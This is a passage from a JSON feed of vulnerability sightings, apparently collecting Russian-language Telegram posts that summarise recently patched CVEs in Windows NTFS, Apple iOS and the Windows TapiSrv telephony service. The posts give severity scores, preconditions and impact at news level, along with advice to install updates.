\u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:58.093248Z"}, {"uuid": "b0d5c05a-2db5-4946-83cc-160f49565314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/cult_security/1243", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20700, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0432\u0443\u043c\u044f \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f iOS 18.7.5 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f iPhone, iPad \u0438 Mac. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0449\u0443\u0442 \u0434\u0440\u0443\u0433\u0443\u044e. \u0410 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2014 \u0437\u0430\u0440\u044f\u0434\u043a\u0443 \u0438 Wi-Fi\n\nJoin our club Cult \ud83d\udc41", "creation_timestamp": "2026-07-26T02:02:56.261793Z"}, {"uuid": "8e51cae3-62d7-4609-8b3e-b9098a9690ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/Positive_Technologies/3992", "content": "\ud83e\uddd0 \u0412\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 Windows? \u0412\u043e\u0442 \u0432\u0430\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0432\u043e\u0434 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u044d\u043a\u0441\u043f\u0435\u0440\u0442 PT SWARM \u0432\u044b\u044f\u0432\u0438\u043b \u0438 \u043f\u043e\u043c\u043e\u0433 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a, \u043e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (8,0 \u043f\u043e CVSS 3.1). \u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u0445 Windows, \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0441 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 (\u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u044b\u043c\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u043c\u0438, \u043c\u043e\u0434\u0435\u043c\u0430\u043c\u0438, VoIP-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 PT-2026-27341 (CVE-2026-20931) \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b 35 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u0430\u043a \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Windows Server 2019/2022/2025, \u0442\u0430\u043a \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 (Windows Server 2008 \u0438 2012). \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d \u0432 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 Microsoft. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udc68\u200d\ud83d\udcbb \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f.\n\n\u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043d\u0435\u043c\u0443. \u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445, \u0430 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 IT-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c 